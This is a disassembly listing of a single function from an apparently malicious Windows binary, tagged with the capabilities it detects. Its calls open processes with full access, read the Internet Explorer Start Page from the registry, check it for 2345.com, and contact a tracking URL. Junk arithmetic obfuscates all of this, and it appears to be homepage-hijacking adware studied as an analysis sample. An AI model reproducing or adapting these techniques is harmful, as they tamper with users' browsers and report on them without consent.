Function at 0x41a7a0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443d6d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.00429680
mov eax, dword [0x457190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455838]
sar edx, 4
imul ecx, ecx, 0xd
mov eax, edx
shr eax, 0x1f
sub ebx, esi
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [0x455830]
mov esi, dword [0x455834]
mov edx, ecx
imul ecx, ecx, 0x32
imul edx, edx, 0x35
add eax, edx
mov dword [str._r_____r____], eax
mov eax, 0x38e38e39
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov ebx, eax
mov eax, 0x78787879
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x5397829d
imul esi
sar edx, 4
add ebx, edx
mov eax, edx
mov edx, dword [0x455818]
imul edx, edx, 0x31
shr eax, 0x1f
add eax, ebx
xor edi, edi
add eax, edx
sub eax, ecx
mov dword [ebp - 0x1104], edi
mov dword [ebp - 4], edi
mov dword [0x455818], eax
mov dword [ebp - 0x10e0], edi
lea eax, [ebp - 0x10e0]
push eax
mov byte [ebp - 4], 1
push 0x4462e8
push 0x17
push edi
push 0x44a8d8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x45582c]
mov ebx, eax
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x455820]
mov eax, 0x99999999
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, dword [str._r_____r____]
lea edx, [ecx + ecx*8]
lea eax, [eax + edx*8]
mov edx, edi
imul edx, edx, 0x38
add eax, edx
sub eax, dword [0x455834]
sub eax, 0x31
test ebx, ebx
mov dword [0x455820], eax
jge 0x41a978
mov eax, dword [0x455828]
imul ecx, ecx, 0x35
imul edi, edi, 0x36
lea eax, [eax + eax*8]
shl eax, 3
mov ebx, eax
mov eax, 0x4bda12f7
imul esi
mov esi, dword [0x455830]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10e0]
add ecx, esi
add ecx, ebx
test eax, eax
lea ecx, [edi + ecx - 0x31]
mov dword [0x455824], ecx
mov byte [ebp - 4], 0
je 0x41a971
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x41ca20
mov ecx, dword [0x455838]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
mov esi, ecx
imul edx, edx, 0x36
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
mov eax, dword [ebp - 0x10e0]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x455828], ecx
lea ecx, [ebp - 0x1100]
push ecx
mov dword [ebp - 0x1100], 0
mov edx, dword [eax]
push eax
call dword [edx + 0x1c]
mov esi, dword [0x455820]
mov edi, dword [0x45582c]
mov eax, 0x92492493
imul edi, edi, 0x31
imul esi
add edx, esi
sar edx, 5
add edi, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x32
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x38e38e39
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455830]
imul edx, edx, 0x22
sub ecx, eax
mov eax, dword [ebp - 0x1100]
add ecx, edx
test eax, eax
mov dword [0x45582c], ecx
jne 0x41aa68
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41aa61
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41ca20
mov edi, dword [0x455828]
mov ebx, edi
imul ebx, ebx, 0x22
mov edx, ecx
imul edx, edx, 0x31
sub ebx, edx
mov eax, 0x66666667
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455824]
imul edx, edx, 0x1b
sub ebx, eax
mov eax, dword [ebp + 8]
add ebx, edx
test eax, eax
mov dword [0x455830], ebx
je 0x41ab17
mov eax, dword [0x455818]
lea esi, [edi + eax]
mov eax, 0x4bda12f7
imul esi, esi, 0x36
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
sub esi, ecx
mov ecx, dword [0x455834]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, 0x569378
mov dword [0x455834], esi
call fcn.0040f0d0
mov ebx, dword [0x455830]
mov esi, dword [0x455820]
mov ecx, dword [0x45582c]
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455834]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x78787879
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, esi
xor ecx, ecx
mov dword [0x455838], edi
mov dword [ebp - 0x10f4], ecx
mov edi, edi
cmp ecx, dword [ebp - 0x1100]
jge 0x41c9cc
mov eax, 0x51eb851f
imul edi, edi, 0xd
imul ebx, ebx, 0x35
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul dword [0x455824]
sub edx, dword [0x455824]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, eax
mov eax, 0x4bda12f7
imul dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, edi
add eax, ebx
mov dword [str._r_____r____], eax
mov dword [ebp - 0x10d4], 0
mov eax, ecx
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x45582c]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov ecx, dword [0x455820]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov ebx, dword [0x455834]
mov eax, 0x99999999
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 4
imul eax, eax, 0x38
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
mov esi, dword [0x455818]
lea edx, [esi + esi*8]
lea ecx, [ecx + edx*8]
add ecx, eax
sub ecx, ebx
sub ecx, 0x31
test edi, edi
mov dword [0x455820], ecx
jl 0x41ad87
mov edi, dword [0x45582c]
mov eax, 0x92492493
imul edi, edi, 0x31
imul ecx
add edx, ecx
sar edx, 5
add edi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x32
shr eax, 0x1f
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0x38e38e39
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455830]
imul edx, edx, 0x22
sub edi, eax
mov eax, dword [ebp - 0x10d4]
add edi, edx
mov dword [0x45582c], edi
xor edi, edi
test eax, eax
mov dword [ebp - 0x10d0], edi
je 0x41ad1c
mov ecx, dword [eax]
lea edx, [ebp - 0x10d0]
push edx
push 0x446340
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10d0]
mov esi, dword [0x455818]
mov ebx, dword [0x455834]
mov ecx, dword [0x455820]
imul esi, esi, 0x31
mov eax, 0x38e38e39
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x78787879
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [ebp - 0x10c8]
sub eax, ecx
mov dword [ebp - 0x10c8], eax
mov eax, 0x5397829d
imul ebx
mov eax, dword [ebp - 0x10c8]
sar edx, 4
add eax, edx
mov ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x32
shr ecx, 0x1f
add ecx, eax
add ecx, esi
sub ecx, edx
test edi, edi
mov dword [0x455818], ecx
jne 0x41ada4
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c9ac
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c9ac
mov esi, dword [0x455828]
imul ecx, ecx, 0x35
lea edx, [esi + esi*8]
shl edx, 3
mov ebx, edx
mov eax, 0x4bda12f7
imul dword [0x45582c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ecx, dword [0x455830]
mov eax, dword [str._r_____r____]
imul eax, eax, 0x36
add ecx, ebx
lea ecx, [eax + ecx - 0x31]
xor ebx, ebx
mov dword [0x455824], ecx
mov dword [ebp - 0x10e4], ebx
imul esi, esi, 0x22
imul ecx, ecx, 0x1b
mov eax, dword [0x45582c]
imul eax, eax, 0x31
sub esi, eax
mov eax, 0x66666667
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea edx, [ebp - 0x10e4]
push edx
mov dword [0x455830], esi
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
cmp eax, ebx
jge 0x41ae77
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41ae46
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41ae5a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41c9ac
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c9ac
mov esi, dword [0x455838]
mov ecx, dword [0x45581c]
mov eax, 0x4bda12f7
imul esi
imul esi, esi, 0xd
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
add edi, edx
mov ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x35
shr ecx, 0x1f
add ecx, edi
sub ecx, esi
mov esi, dword [str._r_____r____]
add ecx, edx
sub ecx, esi
mov esi, dword [ebp - 0x10e4]
add ecx, 0x28
cmp esi, ebx
mov dword [0x45581c], ecx
mov dword [ebp - 0x10d8], ebx
je 0x41aef5
mov eax, dword [esi]
lea ecx, [ebp - 0x10d8]
push ecx
push 0x446350
push esi
call dword [eax]
mov esi, dword [ebp - 0x10e4]
mov ecx, dword [0x45581c]
imul ecx, ecx, 0x36
mov edi, dword [0x455838]
mov eax, 0x4d4873ed
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xffffffcf
sub edx, eax
add edx, ecx
mov dword [ebp - 0x10c8], edx
mov eax, 0x4bda12f7
imul dword [0x455824]
mov eax, dword [ebp - 0x10c8]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov dword [0x455828], eax
cmp dword [ebp - 0x10d8], ebx
mov byte [ebp - 4], 6
jne 0x41af94
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x41af6f
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41bd29
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
jmp 0x41c9a0
push ebx
call fcn.00429647
sub eax, dword [0x5695d0]
add esp, 4
cmp eax, 0x708
jge 0x41b1ff
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x10d0]
lea edx, [ebp - 0x110c]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x110c]
lea eax, [ebp - 0x10ec]
push eax
push ecx
mov dword [ebp - 0x10ec], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
mov edi, dword [ebp - 0x10ec]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [str._r_____r____]
sub eax, ecx
mov ecx, dword [0x455830]
mov edx, ecx
imul edx, edx, 0x35
add eax, edx
sub eax, esi
add eax, 0x28
cmp edi, ebx
mov dword [0x45581c], eax
je 0x41bc7c
mov eax, dword [0x455828]
imul esi, esi, 0x36
mov edx, dword [0x45582c]
lea eax, [eax + eax*8]
shl eax, 3
mov ebx, eax
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455818]
imul edx, edx, 0x35
sub ebx, eax
add edx, ecx
add edx, ebx
push edi
xor ebx, ebx
push ebx
lea eax, [esi + edx - 0x31]
push 0x1f0fff
mov dword [0x455824], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x41b1ff
mov ecx, dword [0x455820]
mov edi, dword [0x45582c]
mov eax, 0x92492493
imul edi, edi, 0x31
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
add eax, ecx
mov ecx, dword [0x45581c]
mov edi, eax
mov eax, 0x38e38e39
imul ecx
mov ax, word [0x446d24]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x22
sub edi, ecx
mov cl, byte [0x446d26]
add edi, edx
mov dword [0x45582c], edi
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
push 0x100
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2c4]
push edx
push ebx
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x455828]
mov eax, dword [0x455818]
lea esi, [ecx + eax]
mov eax, 0x4bda12f7
imul esi, esi, 0x36
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455834]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub esi, eax
push str.startup.exe
push ecx
mov dword [0x455834], esi
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bced
mov ecx, dword [0x455828]
mov eax, dword [0x455818]
lea esi, [ecx + eax]
mov eax, 0x4bda12f7
imul esi, esi, 0x36
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455834]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x1104]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
inc ecx
cmp eax, ebx
mov dword [0x455834], esi
mov dword [ebp - 0x1104], ecx
je 0x41c904
push ecx
lea edx, [ebp - 0x10d0]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push edx
call fcn.004064c0
mov ecx, 0x569378
call fcn.00405a90
test al, al
jne 0x41c904
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
mov esi, dword [0x45582c]
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov esi, eax
mov eax, 0x99999999
imul edx
sar edx, 4
mov eax, edx
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x38
shr eax, 0x1f
add edx, eax
mov eax, dword [0x455818]
sub edx, esi
lea eax, [eax + eax*8]
lea edx, [edx + eax*8]
mov eax, dword [0x455834]
add edx, ecx
sub edx, eax
mov eax, dword [ebp - 0x10d0]
sub edx, 0x31
mov dword [0x455820], edx
mov ecx, dword [eax]
lea edx, [ebp - 0x1108]
push edx
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x455820]
mov esi, dword [0x45582c]
mov eax, 0x92492493
imul esi, esi, 0x31
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x45581c]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, dword [0x455830]
imul ecx, ecx, 0x22
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1108]
sub edi, eax
add edi, ecx
push edx
mov dword [0x45582c], edi
call fcn.0041eef0
mov ecx, dword [0x45581c]
mov dword [ebp - 0x10c8], eax
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x1110]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
xor edi, edi
call dword [ecx + 0x90]
mov ecx, dword [0x455838]
mov esi, eax
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
add eax, ecx
sub eax, edx
add eax, 0x28
test esi, esi
mov dword [0x45581c], eax
jne 0x41b4a6
mov edx, dword [ebp - 0x1110]
push edx
call fcn.0041eef0
mov edi, eax
push 0
call fcn.00429647
sub eax, dword [0x569334]
add esp, 4
cmp eax, 5
jle 0x41c23d
test edi, edi
je 0x41b4da
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b4c8
sub eax, edx
cmp eax, 5
ja 0x41c23d
mov eax, dword [0x455828]
mov ecx, dword [0x45582c]
lea eax, [eax + eax*8]
shl eax, 3
mov esi, eax
mov edi, dword [0x455830]
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 4
imul eax, eax, 0x36
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455818]
imul edx, edx, 0x35
sub esi, ecx
add edx, edi
add edx, esi
lea ecx, [eax + edx - 0x31]
mov dword [0x455824], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b530
lea edx, [ebp - 0x1c4]
push edx
call fcn.0041ed90
mov ecx, dword [0x45582c]
mov dword [ebp - 0x10cc], eax
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455834]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x78787879
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x446d08]
sub ebx, eax
sub ebx, dword [0x455820]
mov eax, dword [0x446d0c]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x446d10]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x446d14]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
sub edi, esi
add edi, edx
mov ecx, edx
mov edx, dword [0x455830]
mov dword [0x455838], ebx
imul ebx, ebx, 0xd
imul edx, edx, 0x35
shr ecx, 0x1f
add ecx, edi
add ecx, ebx
add ecx, edx
lea eax, [ebp - 0x10f8]
mov dword [ebp - 0x10f8], 0
mov dword [str._r_____r____], ecx
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b8f5
mov ecx, dword [0x455838]
mov edi, dword [0x45581c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, ecx
imul esi, esi, 0xffffffcf
sub esi, eax
mov edx, edi
imul edx, edx, 0x36
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x455834]
mov eax, 0x38e38e39
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov dword [0x455828], ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x5397829d
imul esi
mov esi, dword [0x455830]
sar edx, 4
add ebx, edx
mov eax, edx
mov edx, dword [0x455818]
imul edx, edx, 0x31
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, dword [0x45582c]
mov edx, esi
imul ebx, ebx, 0x31
imul edx, edx, 0x32
sub eax, edx
mov dword [0x455818], eax
mov eax, 0x92492493
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x38e38e39
imul edi
sar edx, 4
mov dword [ebp - 0x10e8], 0x104
mov eax, edx
imul esi, esi, 0x22
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x10e8]
push ecx
mov ecx, dword [ebp - 0x10f8]
sub ebx, eax
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10dc]
push eax
push 0
add ebx, esi
mov dword [0x45582c], ebx
push str.Start_Page
mov ebx, 1
push ecx
mov dword [ebp - 0x10dc], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b8f5
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
mov eax, dword [0x569658]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
mov edi, dword [0x455830]
mov edx, edi
imul edx, edx, 0x35
sub esi, ecx
add esi, edx
sub esi, dword [str._r_____r____]
add esi, 0x28
test eax, eax
mov dword [0x45581c], esi
jne 0x41b901
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41b85d
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41b8f5
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x144]
push ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x558128
mov dword [0x569658], ebx
call fcn.00429011
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x455830]
mov esi, dword [0x45581c]
mov ecx, dword [0x455820]
imul edi, edi, 0x22
mov ebx, dword [0x45582c]
mov eax, 0x92492493
imul ebx, ebx, 0x31
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ecx, dword [ebp - 0x10f8]
mov ebx, eax
mov eax, 0x38e38e39
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, edi
push ecx
mov dword [0x45582c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov esi, eax
mov eax, 0x78787879
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455818]
imul edx, edx, 0x31
mov esi, dword [0x455828]
shr eax, 0x1f
add eax, edi
add eax, edx
